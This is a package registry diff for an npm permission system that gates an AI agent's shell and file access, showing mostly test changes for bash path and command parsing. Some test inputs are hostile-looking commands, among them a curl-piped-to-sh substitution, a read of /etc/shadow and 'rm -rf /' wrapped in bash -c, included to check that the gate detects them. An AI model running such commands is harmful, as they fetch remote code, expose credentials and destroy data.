@gotgenes/pi-permission-system 17.0.0 → 17.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (58) hide show
  1. package/CHANGELOG.md +7 -0
  2. package/package.json +1 -1
  3. package/src/access-intent/access-path.ts +5 -5
  4. package/src/access-intent/bash/bash-path-resolver.ts +531 -0
  5. package/src/access-intent/bash/program.ts +21 -14
  6. package/src/access-intent/bash/token-classification.ts +1 -1
  7. package/src/canonicalize-path.ts +11 -5
  8. package/src/forwarded-permissions/permission-forwarder.ts +11 -1
  9. package/src/forwarding-manager.ts +7 -1
  10. package/src/handlers/before-agent-start.ts +1 -0
  11. package/src/handlers/gates/bash-path-extractor.ts +7 -5
  12. package/src/handlers/gates/external-directory.ts +14 -15
  13. package/src/handlers/gates/path.ts +3 -2
  14. package/src/handlers/gates/skill-read.ts +7 -1
  15. package/src/handlers/gates/tool-call-gate-pipeline.ts +21 -4
  16. package/src/handlers/gates/tool.ts +4 -2
  17. package/src/index.ts +12 -1
  18. package/src/input-normalizer.ts +9 -4
  19. package/src/path-normalizer.ts +70 -0
  20. package/src/path-utils.ts +39 -28
  21. package/src/permission-manager.ts +21 -7
  22. package/src/permission-session.ts +35 -2
  23. package/src/prompting-gateway.ts +3 -0
  24. package/src/rule.ts +8 -6
  25. package/src/skill-prompt-sanitizer.ts +15 -4
  26. package/src/subagent-context.ts +17 -9
  27. package/test/access-intent/access-path.test.ts +73 -24
  28. package/test/access-intent/bash/program.test.ts +131 -65
  29. package/test/bash-external-directory.test.ts +15 -1
  30. package/test/canonicalize-path.test.ts +34 -8
  31. package/test/forwarding-manager.test.ts +7 -1
  32. package/test/handlers/external-directory-symlink-acceptance.test.ts +26 -4
  33. package/test/handlers/gates/bash-command-metamorphic.test.ts +5 -1
  34. package/test/handlers/gates/bash-external-directory.test.ts +5 -1
  35. package/test/handlers/gates/bash-path.test.ts +6 -1
  36. package/test/handlers/gates/external-directory-policy.test.ts +26 -8
  37. package/test/handlers/gates/external-directory.test.ts +9 -1
  38. package/test/handlers/gates/path.test.ts +53 -14
  39. package/test/handlers/gates/skill-read.test.ts +22 -13
  40. package/test/handlers/gates/tool-call-gate-pipeline.test.ts +2 -1
  41. package/test/handlers/gates/tool.test.ts +13 -1
  42. package/test/helpers/gate-fixtures.ts +10 -0
  43. package/test/helpers/session-fixtures.ts +3 -0
  44. package/test/input-normalizer.test.ts +104 -39
  45. package/test/path-normalizer.test.ts +123 -0
  46. package/test/path-utils.test.ts +130 -51
  47. package/test/permission-forwarder.test.ts +1 -0
  48. package/test/permission-manager-unified.test.ts +40 -0
  49. package/test/permission-resolver.test.ts +12 -3
  50. package/test/permission-session.test.ts +41 -0
  51. package/test/pi-infrastructure-read.test.ts +27 -4
  52. package/test/prompting-gateway.test.ts +1 -0
  53. package/test/rule.test.ts +88 -42
  54. package/test/session-rules.test.ts +21 -4
  55. package/test/skill-prompt-sanitizer.test.ts +69 -14
  56. package/test/subagent-context.test.ts +77 -31
  57. package/test/synthesize.test.ts +13 -11
  58. package/src/access-intent/bash/cwd-projection.ts +0 -500
@@ -11,10 +11,12 @@ vi.mock("node:fs", () => ({
11
11
  }));
12
12
 
13
13
  import { BashProgram } from "#src/access-intent/bash/program";
14
+ import { PathNormalizer } from "#src/path-normalizer";
14
15
 
15
16
  describe("BashProgram", () => {
16
17
  describe("pathRuleCandidates", () => {
17
18
  const cwd = "/projects/my-app";
19
+ const normalizer = new PathNormalizer(process.platform, cwd);
18
20
 
19
21
  beforeEach(() => {
20
22
  realpathSync.mockReset();
@@ -22,7 +24,7 @@ describe("BashProgram", () => {
22
24
  });
23
25
 
24
26
  it("adds absolute and relative policy values for relative tokens", async () => {
25
- const program = await BashProgram.parse("cat src/foo.ts", cwd);
27
+ const program = await BashProgram.parse("cat src/foo.ts", normalizer);
26
28
  const candidates = program.pathRuleCandidates();
27
29
  expect(candidates.map(({ token }) => token)).toEqual(["src/foo.ts"]);
28
30
  expect(candidates[0].path.matchValues()).toEqual([
@@ -35,7 +37,7 @@ describe("BashProgram", () => {
35
37
  it("resolves tokens after literal cd against the effective directory", async () => {
36
38
  const program = await BashProgram.parse(
37
39
  "cd nested && cat src/file.txt",
38
- cwd,
40
+ normalizer,
39
41
  );
40
42
  const fileCandidate = program
41
43
  .pathRuleCandidates()
@@ -55,7 +57,7 @@ describe("BashProgram", () => {
55
57
  realpathSync.mockImplementation((p: string) =>
56
58
  p === "/projects/my-app/src/foo.ts" ? "/vault/foo.ts" : p,
57
59
  );
58
- const program = await BashProgram.parse("cat src/foo.ts", cwd);
60
+ const program = await BashProgram.parse("cat src/foo.ts", normalizer);
59
61
  const candidate = program.pathRuleCandidates()[0];
60
62
  expect(candidate.path.matchValues()).toEqual([
61
63
  "/projects/my-app/src/foo.ts",
@@ -67,7 +69,7 @@ describe("BashProgram", () => {
67
69
  it("does not absolute-allow relative tokens after unknown cd", async () => {
68
70
  const program = await BashProgram.parse(
69
71
  'cd "$DIR" && cat src/foo.ts',
70
- cwd,
72
+ normalizer,
71
73
  );
72
74
  const fileCandidate = program
73
75
  .pathRuleCandidates()
@@ -81,7 +83,7 @@ describe("BashProgram", () => {
81
83
  realpathSync.mockImplementation(() => "/somewhere/else");
82
84
  const program = await BashProgram.parse(
83
85
  'cd "$DIR" && cat src/foo.ts',
84
- cwd,
86
+ normalizer,
85
87
  );
86
88
  const fileCandidate = program
87
89
  .pathRuleCandidates()
@@ -93,6 +95,7 @@ describe("BashProgram", () => {
93
95
 
94
96
  describe("externalPaths", () => {
95
97
  const cwd = "/projects/my-app";
98
+ const normalizer = new PathNormalizer(process.platform, cwd);
96
99
 
97
100
  beforeEach(() => {
98
101
  realpathSync.mockReset();
@@ -100,7 +103,7 @@ describe("BashProgram", () => {
100
103
  });
101
104
 
102
105
  it("returns absolute paths resolving outside cwd", async () => {
103
- const program = await BashProgram.parse("cat /etc/hosts", cwd);
106
+ const program = await BashProgram.parse("cat /etc/hosts", normalizer);
104
107
  // Subset matcher: the path is normalized before comparison.
105
108
  expect(program.externalPaths().map((p) => p.value())).toContain(
106
109
  "/etc/hosts",
@@ -108,16 +111,48 @@ describe("BashProgram", () => {
108
111
  });
109
112
 
110
113
  it("excludes paths within cwd", async () => {
111
- const program = await BashProgram.parse("cat src/index.ts", cwd);
114
+ const program = await BashProgram.parse("cat src/index.ts", normalizer);
112
115
  expect(program.externalPaths()).toHaveLength(0);
113
116
  });
114
117
 
118
+ describe("win32 projection (injected platform, no vi.mock node:path)", () => {
119
+ const winNormalizer = new PathNormalizer("win32", "C:\\Projects\\App");
120
+
121
+ it("resolves and case-folds a rooted path outside cwd", async () => {
122
+ const program = await BashProgram.parse(
123
+ "cat /etc/hosts",
124
+ winNormalizer,
125
+ );
126
+ expect(program.externalPaths().map((p) => p.value())).toEqual([
127
+ "c:\\etc\\hosts",
128
+ ]);
129
+ });
130
+
131
+ it("flags a ..-traversal escaping cwd under win32 rules", async () => {
132
+ const program = await BashProgram.parse(
133
+ "cat ../sibling/x",
134
+ winNormalizer,
135
+ );
136
+ expect(program.externalPaths().map((p) => p.value())).toEqual([
137
+ "c:\\projects\\sibling\\x",
138
+ ]);
139
+ });
140
+
141
+ it("folds a current-shell cd so an in-cwd ..-traversal is not flagged", async () => {
142
+ const program = await BashProgram.parse(
143
+ "cd sub && cat ../x",
144
+ winNormalizer,
145
+ );
146
+ expect(program.externalPaths()).toHaveLength(0);
147
+ });
148
+ });
149
+
115
150
  describe("effective working directory projection", () => {
116
151
  it("folds a sequence of current-shell cd commands", async () => {
117
152
  // cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
118
153
  const program = await BashProgram.parse(
119
154
  "cd a && cd b && cat ../c",
120
- cwd,
155
+ normalizer,
121
156
  );
122
157
  expect(program.externalPaths()).toHaveLength(0);
123
158
  });
@@ -127,7 +162,7 @@ describe("BashProgram", () => {
127
162
  // ../../etc/passwd escapes to /projects/etc/passwd.
128
163
  const program = await BashProgram.parse(
129
164
  "cd nested/deep && cd .. && cat ../../etc/passwd",
130
- cwd,
165
+ normalizer,
131
166
  );
132
167
  expect(program.externalPaths().map((p) => p.value())).toContain(
133
168
  "/projects/etc/passwd",
@@ -139,7 +174,7 @@ describe("BashProgram", () => {
139
174
  // folds, so ../b resolves to cwd/b (inside) and is not flagged.
140
175
  const program = await BashProgram.parse(
141
176
  "mkdir d && cd a && cat ../b",
142
- cwd,
177
+ normalizer,
143
178
  );
144
179
  expect(program.externalPaths()).toHaveLength(0);
145
180
  });
@@ -147,7 +182,7 @@ describe("BashProgram", () => {
147
182
  it("does not fold a backgrounded cd", async () => {
148
183
  // `cd a &` runs in a subshell, so it must not update the running
149
184
  // directory; ../b resolves against cwd and escapes.
150
- const program = await BashProgram.parse("cd a & cat ../b", cwd);
185
+ const program = await BashProgram.parse("cd a & cat ../b", normalizer);
151
186
  expect(program.externalPaths().map((p) => p.value())).toContain(
152
187
  "/projects/b",
153
188
  );
@@ -155,7 +190,10 @@ describe("BashProgram", () => {
155
190
 
156
191
  it("does not fold a cd inside a pipeline", async () => {
157
192
  // Pipeline members run in subshells; the cd must not leak.
158
- const program = await BashProgram.parse("cd nested | cat ../b", cwd);
193
+ const program = await BashProgram.parse(
194
+ "cd nested | cat ../b",
195
+ normalizer,
196
+ );
159
197
  expect(program.externalPaths().map((p) => p.value())).toContain(
160
198
  "/projects/b",
161
199
  );
@@ -163,13 +201,19 @@ describe("BashProgram", () => {
163
201
 
164
202
  it("folds a cd inside a subshell for paths within that subshell", async () => {
165
203
  // Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
166
- const program = await BashProgram.parse("( cd sub && cat ../x )", cwd);
204
+ const program = await BashProgram.parse(
205
+ "( cd sub && cat ../x )",
206
+ normalizer,
207
+ );
167
208
  expect(program.externalPaths()).toHaveLength(0);
168
209
  });
169
210
 
170
211
  it("does not leak a subshell cd to following commands", async () => {
171
212
  // The subshell cd resets on exit, so ../y resolves against cwd.
172
- const program = await BashProgram.parse("( cd sub ) && cat ../y", cwd);
213
+ const program = await BashProgram.parse(
214
+ "( cd sub ) && cat ../y",
215
+ normalizer,
216
+ );
173
217
  expect(program.externalPaths().map((p) => p.value())).toContain(
174
218
  "/projects/y",
175
219
  );
@@ -177,12 +221,18 @@ describe("BashProgram", () => {
177
221
 
178
222
  it("persists a cd inside a brace group to later commands in the group", async () => {
179
223
  // Brace groups run in the current shell, so cd sub persists to cat ../x.
180
- const program = await BashProgram.parse("{ cd sub; cat ../x; }", cwd);
224
+ const program = await BashProgram.parse(
225
+ "{ cd sub; cat ../x; }",
226
+ normalizer,
227
+ );
181
228
  expect(program.externalPaths()).toHaveLength(0);
182
229
  });
183
230
 
184
231
  it("persists a brace-group cd to following sibling commands", async () => {
185
- const program = await BashProgram.parse("{ cd sub; } && cat ../x", cwd);
232
+ const program = await BashProgram.parse(
233
+ "{ cd sub; } && cat ../x",
234
+ normalizer,
235
+ );
186
236
  expect(program.externalPaths()).toHaveLength(0);
187
237
  });
188
238
 
@@ -192,7 +242,7 @@ describe("BashProgram", () => {
192
242
  // resolved against cwd/q. Conservative — never misses an escape.
193
243
  const program = await BashProgram.parse(
194
244
  "echo $(cd q && cat ../r)",
195
- cwd,
245
+ normalizer,
196
246
  );
197
247
  expect(program.externalPaths().map((p) => p.value())).toContain(
198
248
  "/projects/r",
@@ -202,7 +252,10 @@ describe("BashProgram", () => {
202
252
  it("flags relative paths conservatively after a non-literal cd", async () => {
203
253
  // cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
204
254
  // so it is flagged (least-privilege).
205
- const program = await BashProgram.parse('cd "$DIR" && cat ../x', cwd);
255
+ const program = await BashProgram.parse(
256
+ 'cd "$DIR" && cat ../x',
257
+ normalizer,
258
+ );
206
259
  expect(program.externalPaths().map((p) => p.value())).toContain(
207
260
  "/projects/x",
208
261
  );
@@ -213,7 +266,7 @@ describe("BashProgram", () => {
213
266
  // flagged because the effective dir is unknown.
214
267
  const program = await BashProgram.parse(
215
268
  'cd "$DIR" && cat src/../within.txt',
216
- cwd,
269
+ normalizer,
217
270
  );
218
271
  expect(program.externalPaths().map((p) => p.value())).toContain(
219
272
  "/projects/my-app/within.txt",
@@ -225,13 +278,13 @@ describe("BashProgram", () => {
225
278
  // even when the effective dir is unknown.
226
279
  const program = await BashProgram.parse(
227
280
  'cd "$DIR" && cat /projects/my-app/x.txt',
228
- cwd,
281
+ normalizer,
229
282
  );
230
283
  expect(program.externalPaths()).toHaveLength(0);
231
284
  });
232
285
 
233
286
  it("treats `cd -` as an unknown effective directory", async () => {
234
- const program = await BashProgram.parse("cd - && cat ../x", cwd);
287
+ const program = await BashProgram.parse("cd - && cat ../x", normalizer);
235
288
  expect(program.externalPaths().map((p) => p.value())).toContain(
236
289
  "/projects/x",
237
290
  );
@@ -242,7 +295,7 @@ describe("BashProgram", () => {
242
295
  // ../x resolves to cwd and is not flagged.
243
296
  const program = await BashProgram.parse(
244
297
  'cd "$DIR" && cd /projects/my-app/src && cat ../x',
245
- cwd,
298
+ normalizer,
246
299
  );
247
300
  expect(program.externalPaths()).toHaveLength(0);
248
301
  });
@@ -255,7 +308,7 @@ describe("BashProgram", () => {
255
308
  // pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
256
309
  const program = await BashProgram.parse(
257
310
  "cd a && pnpm x 2>&1 | tail ; cat ../b",
258
- cwd,
311
+ normalizer,
259
312
  );
260
313
  expect(program.externalPaths()).toHaveLength(0);
261
314
  });
@@ -266,7 +319,7 @@ describe("BashProgram", () => {
266
319
  // cwd instead of escaping one level above.
267
320
  const program = await BashProgram.parse(
268
321
  "cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
269
- cwd,
322
+ normalizer,
270
323
  );
271
324
  expect(program.externalPaths()).toHaveLength(0);
272
325
  });
@@ -279,7 +332,7 @@ describe("BashProgram", () => {
279
332
  // inside — a fail-open regression this test pins.
280
333
  const program = await BashProgram.parse(
281
334
  "cd a && cd b 2>&1 | tail ; cat ../../x",
282
- cwd,
335
+ normalizer,
283
336
  );
284
337
  expect(program.externalPaths().map((p) => p.value())).toContain(
285
338
  "/projects/x",
@@ -292,7 +345,7 @@ describe("BashProgram", () => {
292
345
  // pre-cd base.
293
346
  const program = await BashProgram.parse(
294
347
  "cd a && pnpm x 2>&1 | cat ../foo",
295
- cwd,
348
+ normalizer,
296
349
  );
297
350
  expect(program.externalPaths()).toHaveLength(0);
298
351
  });
@@ -310,7 +363,7 @@ describe("BashProgram", () => {
310
363
  });
311
364
  const program = await BashProgram.parse(
312
365
  "cat /projects/my-app/link/hosts",
313
- cwd,
366
+ normalizer,
314
367
  );
315
368
  const external = program.externalPaths().map((p) => p.value());
316
369
  expect(external).toContain("/projects/my-app/link/hosts");
@@ -327,7 +380,7 @@ describe("BashProgram", () => {
327
380
  });
328
381
  const program = await BashProgram.parse(
329
382
  "cat /tmp/workspace/file.ts",
330
- symlinkCwd,
383
+ new PathNormalizer(process.platform, symlinkCwd),
331
384
  );
332
385
  expect(program.externalPaths()).toHaveLength(0);
333
386
  });
@@ -335,14 +388,15 @@ describe("BashProgram", () => {
335
388
 
336
389
  describe("commands", () => {
337
390
  const cwd = "/projects/my-app";
391
+ const normalizer = new PathNormalizer(process.platform, cwd);
338
392
 
339
393
  it("returns a single-element list for a lone command", async () => {
340
- const program = await BashProgram.parse("npm install pkg", cwd);
394
+ const program = await BashProgram.parse("npm install pkg", normalizer);
341
395
  expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
342
396
  });
343
397
 
344
398
  it("splits an && chain", async () => {
345
- const program = await BashProgram.parse("cd /p && npm i x", cwd);
399
+ const program = await BashProgram.parse("cd /p && npm i x", normalizer);
346
400
  expect(program.commands()).toEqual([
347
401
  { text: "cd /p" },
348
402
  { text: "npm i x" },
@@ -350,22 +404,19 @@ describe("BashProgram", () => {
350
404
  });
351
405
 
352
406
  it("splits || , ; and & separators", async () => {
353
- expect((await BashProgram.parse("a || b", cwd)).commands()).toEqual([
354
- { text: "a" },
355
- { text: "b" },
356
- ]);
357
- expect((await BashProgram.parse("a ; b", cwd)).commands()).toEqual([
358
- { text: "a" },
359
- { text: "b" },
360
- ]);
361
- expect((await BashProgram.parse("a & b", cwd)).commands()).toEqual([
362
- { text: "a" },
363
- { text: "b" },
364
- ]);
407
+ expect(
408
+ (await BashProgram.parse("a || b", normalizer)).commands(),
409
+ ).toEqual([{ text: "a" }, { text: "b" }]);
410
+ expect((await BashProgram.parse("a ; b", normalizer)).commands()).toEqual(
411
+ [{ text: "a" }, { text: "b" }],
412
+ );
413
+ expect((await BashProgram.parse("a & b", normalizer)).commands()).toEqual(
414
+ [{ text: "a" }, { text: "b" }],
415
+ );
365
416
  });
366
417
 
367
418
  it("splits a pipeline into its commands", async () => {
368
- const program = await BashProgram.parse("cat f | grep b", cwd);
419
+ const program = await BashProgram.parse("cat f | grep b", normalizer);
369
420
  expect(program.commands()).toEqual([
370
421
  { text: "cat f" },
371
422
  { text: "grep b" },
@@ -373,22 +424,25 @@ describe("BashProgram", () => {
373
424
  });
374
425
 
375
426
  it("splits newline-separated commands", async () => {
376
- const program = await BashProgram.parse("foo\nbar", cwd);
427
+ const program = await BashProgram.parse("foo\nbar", normalizer);
377
428
  expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
378
429
  });
379
430
 
380
431
  it("does not split operators inside quotes", async () => {
381
- const program = await BashProgram.parse("echo 'x && y'", cwd);
432
+ const program = await BashProgram.parse("echo 'x && y'", normalizer);
382
433
  expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
383
434
  });
384
435
 
385
436
  it("captures the command of a redirected statement without the redirect", async () => {
386
- const program = await BashProgram.parse("npm install > out.txt", cwd);
437
+ const program = await BashProgram.parse(
438
+ "npm install > out.txt",
439
+ normalizer,
440
+ );
387
441
  expect(program.commands()).toEqual([{ text: "npm install" }]);
388
442
  });
389
443
 
390
444
  it("descends into command substitution, tagging the inner command", async () => {
391
- const program = await BashProgram.parse("echo $(rm -rf foo)", cwd);
445
+ const program = await BashProgram.parse("echo $(rm -rf foo)", normalizer);
392
446
  expect(program.commands()).toEqual([
393
447
  { text: "echo $(rm -rf foo)" },
394
448
  { text: "rm -rf foo", context: "command_substitution" },
@@ -396,7 +450,7 @@ describe("BashProgram", () => {
396
450
  });
397
451
 
398
452
  it("descends into backtick command substitution", async () => {
399
- const program = await BashProgram.parse("echo `rm x`", cwd);
453
+ const program = await BashProgram.parse("echo `rm x`", normalizer);
400
454
  expect(program.commands()).toEqual([
401
455
  { text: "echo `rm x`" },
402
456
  { text: "rm x", context: "command_substitution" },
@@ -404,7 +458,10 @@ describe("BashProgram", () => {
404
458
  });
405
459
 
406
460
  it("descends into a pipeline inside command substitution", async () => {
407
- const program = await BashProgram.parse("echo $(curl evil | sh)", cwd);
461
+ const program = await BashProgram.parse(
462
+ "echo $(curl evil | sh)",
463
+ normalizer,
464
+ );
408
465
  expect(program.commands()).toEqual([
409
466
  { text: "echo $(curl evil | sh)" },
410
467
  { text: "curl evil", context: "command_substitution" },
@@ -413,7 +470,10 @@ describe("BashProgram", () => {
413
470
  });
414
471
 
415
472
  it("descends into process substitution", async () => {
416
- const program = await BashProgram.parse("diff <(cat /etc/shadow)", cwd);
473
+ const program = await BashProgram.parse(
474
+ "diff <(cat /etc/shadow)",
475
+ normalizer,
476
+ );
417
477
  expect(program.commands()).toEqual([
418
478
  { text: "diff <(cat /etc/shadow)" },
419
479
  { text: "cat /etc/shadow", context: "process_substitution" },
@@ -421,7 +481,7 @@ describe("BashProgram", () => {
421
481
  });
422
482
 
423
483
  it("emits a bare subshell whole and descends into it", async () => {
424
- const program = await BashProgram.parse("( rm -rf foo )", cwd);
484
+ const program = await BashProgram.parse("( rm -rf foo )", normalizer);
425
485
  expect(program.commands()).toEqual([
426
486
  { text: "( rm -rf foo )" },
427
487
  { text: "rm -rf foo", context: "subshell" },
@@ -429,7 +489,7 @@ describe("BashProgram", () => {
429
489
  });
430
490
 
431
491
  it("emits a subshell whole and descends into its chain", async () => {
432
- const program = await BashProgram.parse("( cd /t && rm x )", cwd);
492
+ const program = await BashProgram.parse("( cd /t && rm x )", normalizer);
433
493
  expect(program.commands()).toEqual([
434
494
  { text: "( cd /t && rm x )" },
435
495
  { text: "cd /t", context: "subshell" },
@@ -438,7 +498,7 @@ describe("BashProgram", () => {
438
498
  });
439
499
 
440
500
  it("descends recursively through nested contexts", async () => {
441
- const program = await BashProgram.parse("echo $( ( rm x ) )", cwd);
501
+ const program = await BashProgram.parse("echo $( ( rm x ) )", normalizer);
442
502
  expect(program.commands()).toEqual([
443
503
  { text: "echo $( ( rm x ) )" },
444
504
  { text: "( rm x )", context: "command_substitution" },
@@ -447,7 +507,10 @@ describe("BashProgram", () => {
447
507
  });
448
508
 
449
509
  it("descends into a substitution within a chained command", async () => {
450
- const program = await BashProgram.parse("cd /p && echo $(rm x)", cwd);
510
+ const program = await BashProgram.parse(
511
+ "cd /p && echo $(rm x)",
512
+ normalizer,
513
+ );
451
514
  expect(program.commands()).toEqual([
452
515
  { text: "cd /p" },
453
516
  { text: "echo $(rm x)" },
@@ -456,7 +519,7 @@ describe("BashProgram", () => {
456
519
  });
457
520
 
458
521
  it("keeps the never-weaker invariant: a benign inner command stays", async () => {
459
- const program = await BashProgram.parse("echo $(echo safe)", cwd);
522
+ const program = await BashProgram.parse("echo $(echo safe)", normalizer);
460
523
  expect(program.commands()).toEqual([
461
524
  { text: "echo $(echo safe)" },
462
525
  { text: "echo safe", context: "command_substitution" },
@@ -464,14 +527,16 @@ describe("BashProgram", () => {
464
527
  });
465
528
 
466
529
  it("returns an empty list for an empty or whitespace command", async () => {
467
- expect((await BashProgram.parse("", cwd)).commands()).toEqual([]);
468
- expect((await BashProgram.parse(" ", cwd)).commands()).toEqual([]);
530
+ expect((await BashProgram.parse("", normalizer)).commands()).toEqual([]);
531
+ expect((await BashProgram.parse(" ", normalizer)).commands()).toEqual(
532
+ [],
533
+ );
469
534
  });
470
535
 
471
536
  it("strips a leading env-var assignment prefix", async () => {
472
537
  const program = await BashProgram.parse(
473
538
  "AWS_PROFILE=prod aws ec2 terminate-instances --instance-ids i-1",
474
- cwd,
539
+ normalizer,
475
540
  );
476
541
  expect(program.commands()).toEqual([
477
542
  { text: "aws ec2 terminate-instances --instance-ids i-1" },
@@ -479,14 +544,14 @@ describe("BashProgram", () => {
479
544
  });
480
545
 
481
546
  it("strips multiple leading env-var assignments", async () => {
482
- const program = await BashProgram.parse("A=1 B=2 aws s3 ls", cwd);
547
+ const program = await BashProgram.parse("A=1 B=2 aws s3 ls", normalizer);
483
548
  expect(program.commands()).toEqual([{ text: "aws s3 ls" }]);
484
549
  });
485
550
 
486
551
  it("strips the env-var prefix of each command in a chain", async () => {
487
552
  const program = await BashProgram.parse(
488
553
  "X=1 aws sts get-caller-identity && ls",
489
- cwd,
554
+ normalizer,
490
555
  );
491
556
  expect(program.commands()).toEqual([
492
557
  { text: "aws sts get-caller-identity" },
@@ -495,7 +560,7 @@ describe("BashProgram", () => {
495
560
  });
496
561
 
497
562
  it("keeps a pure assignment with no command unchanged", async () => {
498
- const program = await BashProgram.parse("FOO=bar", cwd);
563
+ const program = await BashProgram.parse("FOO=bar", normalizer);
499
564
  expect(program.commands()).toEqual([{ text: "FOO=bar" }]);
500
565
  });
501
566
 
@@ -510,14 +575,14 @@ describe("BashProgram", () => {
510
575
  ['/bin/bash -c "rm -rf /"', '/bin/bash -c "rm -rf /"'],
511
576
  ['bash -ec "rm -rf /"', 'bash -ec "rm -rf /"'],
512
577
  ])("flags %s as opaque", async (command, text) => {
513
- const program = await BashProgram.parse(command, cwd);
578
+ const program = await BashProgram.parse(command, normalizer);
514
579
  expect(program.commands()).toEqual([{ text, opaque: true }]);
515
580
  });
516
581
 
517
582
  it("flags an env-prefixed wrapper as opaque after stripping the prefix", async () => {
518
583
  const program = await BashProgram.parse(
519
584
  'AWS_PROFILE=prod bash -c "rm -rf /"',
520
- cwd,
585
+ normalizer,
521
586
  );
522
587
  expect(program.commands()).toEqual([
523
588
  { text: 'bash -c "rm -rf /"', opaque: true },
@@ -530,7 +595,7 @@ describe("BashProgram", () => {
530
595
  "ls -la",
531
596
  "grep -c foo file",
532
597
  ])("does not flag %s as opaque", async (command) => {
533
- const program = await BashProgram.parse(command, cwd);
598
+ const program = await BashProgram.parse(command, normalizer);
534
599
  expect(program.commands()).toEqual([{ text: command }]);
535
600
  });
536
601
  });
@@ -538,7 +603,8 @@ describe("BashProgram", () => {
538
603
 
539
604
  it("derives both slices from a single parse", async () => {
540
605
  const cwd = "/projects/my-app";
541
- const program = await BashProgram.parse("cat .env /etc/hosts", cwd);
606
+ const normalizer = new PathNormalizer(process.platform, cwd);
607
+ const program = await BashProgram.parse("cat .env /etc/hosts", normalizer);
542
608
  expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
543
609
  ".env",
544
610
  "/etc/hosts",
@@ -18,13 +18,27 @@ vi.mock("node:fs", () => ({
18
18
  }));
19
19
 
20
20
  import { formatDenyReason } from "#src/denial-messages";
21
- import { extractExternalPathsFromBashCommand } from "#src/handlers/gates/bash-path-extractor";
21
+ import { extractExternalPathsFromBashCommand as extractWithNormalizer } from "#src/handlers/gates/bash-path-extractor";
22
22
  import { formatBashExternalDirectoryAskPrompt } from "#src/handlers/gates/external-directory-messages";
23
+ import { PathNormalizer } from "#src/path-normalizer";
23
24
 
24
25
  afterEach(() => {
25
26
  vi.restoreAllMocks();
26
27
  });
27
28
 
29
+ // The production facade now takes a PathNormalizer (platform + cwd baked in);
30
+ // this wrapper preserves the (command, cwd) call shape the suite uses
31
+ // throughout so the projection-correctness assertions stay unchanged.
32
+ function extractExternalPathsFromBashCommand(
33
+ command: string,
34
+ cwd: string,
35
+ ): Promise<string[]> {
36
+ return extractWithNormalizer(
37
+ command,
38
+ new PathNormalizer(process.platform, cwd),
39
+ );
40
+ }
41
+
28
42
  describe("extractExternalPathsFromBashCommand", () => {
29
43
  const cwd = "/projects/my-app";
30
44
 
@@ -21,12 +21,14 @@ describe("canonicalizePath", () => {
21
21
  });
22
22
 
23
23
  test("returns empty string for empty input", () => {
24
- expect(canonicalizePath("")).toBe("");
24
+ expect(canonicalizePath("", "linux")).toBe("");
25
25
  });
26
26
 
27
27
  test("returns realpathSync result when path exists", () => {
28
28
  realpathSync.mockReturnValueOnce("/real/projects/app");
29
- expect(canonicalizePath("/projects/link")).toBe("/real/projects/app");
29
+ expect(canonicalizePath("/projects/link", "linux")).toBe(
30
+ "/real/projects/app",
31
+ );
30
32
  });
31
33
 
32
34
  test("re-appends a non-existent leaf to the canonical parent", () => {
@@ -35,7 +37,7 @@ describe("canonicalizePath", () => {
35
37
  throw enoent("/projects/app/new-file.ts");
36
38
  })
37
39
  .mockReturnValueOnce("/canonical/app");
38
- expect(canonicalizePath("/projects/app/new-file.ts")).toBe(
40
+ expect(canonicalizePath("/projects/app/new-file.ts", "linux")).toBe(
39
41
  "/canonical/app/new-file.ts",
40
42
  );
41
43
  });
@@ -52,7 +54,7 @@ describe("canonicalizePath", () => {
52
54
  throw enoent("/projects/app");
53
55
  })
54
56
  .mockReturnValueOnce("/canonical/projects");
55
- expect(canonicalizePath("/projects/app/src/new-file.ts")).toBe(
57
+ expect(canonicalizePath("/projects/app/src/new-file.ts", "linux")).toBe(
56
58
  "/canonical/projects/app/src/new-file.ts",
57
59
  );
58
60
  });
@@ -61,7 +63,7 @@ describe("canonicalizePath", () => {
61
63
  realpathSync.mockImplementation(() => {
62
64
  throw enoent("");
63
65
  });
64
- expect(canonicalizePath("/nonexistent/path/file.ts")).toBe(
66
+ expect(canonicalizePath("/nonexistent/path/file.ts", "linux")).toBe(
65
67
  "/nonexistent/path/file.ts",
66
68
  );
67
69
  });
@@ -70,14 +72,18 @@ describe("canonicalizePath", () => {
70
72
  realpathSync.mockImplementation(() => {
71
73
  throw Object.assign(new Error("ELOOP"), { code: "ELOOP" });
72
74
  });
73
- expect(canonicalizePath("/some/looping/path")).toBe("/some/looping/path");
75
+ expect(canonicalizePath("/some/looping/path", "linux")).toBe(
76
+ "/some/looping/path",
77
+ );
74
78
  });
75
79
 
76
80
  test("returns input unchanged on EACCES (permission denied)", () => {
77
81
  realpathSync.mockImplementation(() => {
78
82
  throw Object.assign(new Error("EACCES"), { code: "EACCES" });
79
83
  });
80
- expect(canonicalizePath("/restricted/path")).toBe("/restricted/path");
84
+ expect(canonicalizePath("/restricted/path", "linux")).toBe(
85
+ "/restricted/path",
86
+ );
81
87
  });
82
88
 
83
89
  test("handles ENOTDIR by walking up (like ENOENT)", () => {
@@ -86,8 +92,28 @@ describe("canonicalizePath", () => {
86
92
  throw Object.assign(new Error("ENOTDIR"), { code: "ENOTDIR" });
87
93
  })
88
94
  .mockReturnValueOnce("/real/parent");
89
- expect(canonicalizePath("/real/parent/not-a-dir")).toBe(
95
+ expect(canonicalizePath("/real/parent/not-a-dir", "linux")).toBe(
90
96
  "/real/parent/not-a-dir",
91
97
  );
92
98
  });
99
+
100
+ // ── injected platform flavor (win32-separator splitting) ──────────────
101
+
102
+ test("win32: splits and rejoins on the backslash separator", () => {
103
+ realpathSync
104
+ .mockImplementationOnce(() => {
105
+ throw enoent("C:\\projects\\link\\file.ts");
106
+ })
107
+ .mockReturnValueOnce("C:\\real\\app");
108
+ expect(canonicalizePath("C:\\projects\\link\\file.ts", "win32")).toBe(
109
+ "C:\\real\\app\\file.ts",
110
+ );
111
+ });
112
+
113
+ test("win32: resolves an existing path via realpathSync", () => {
114
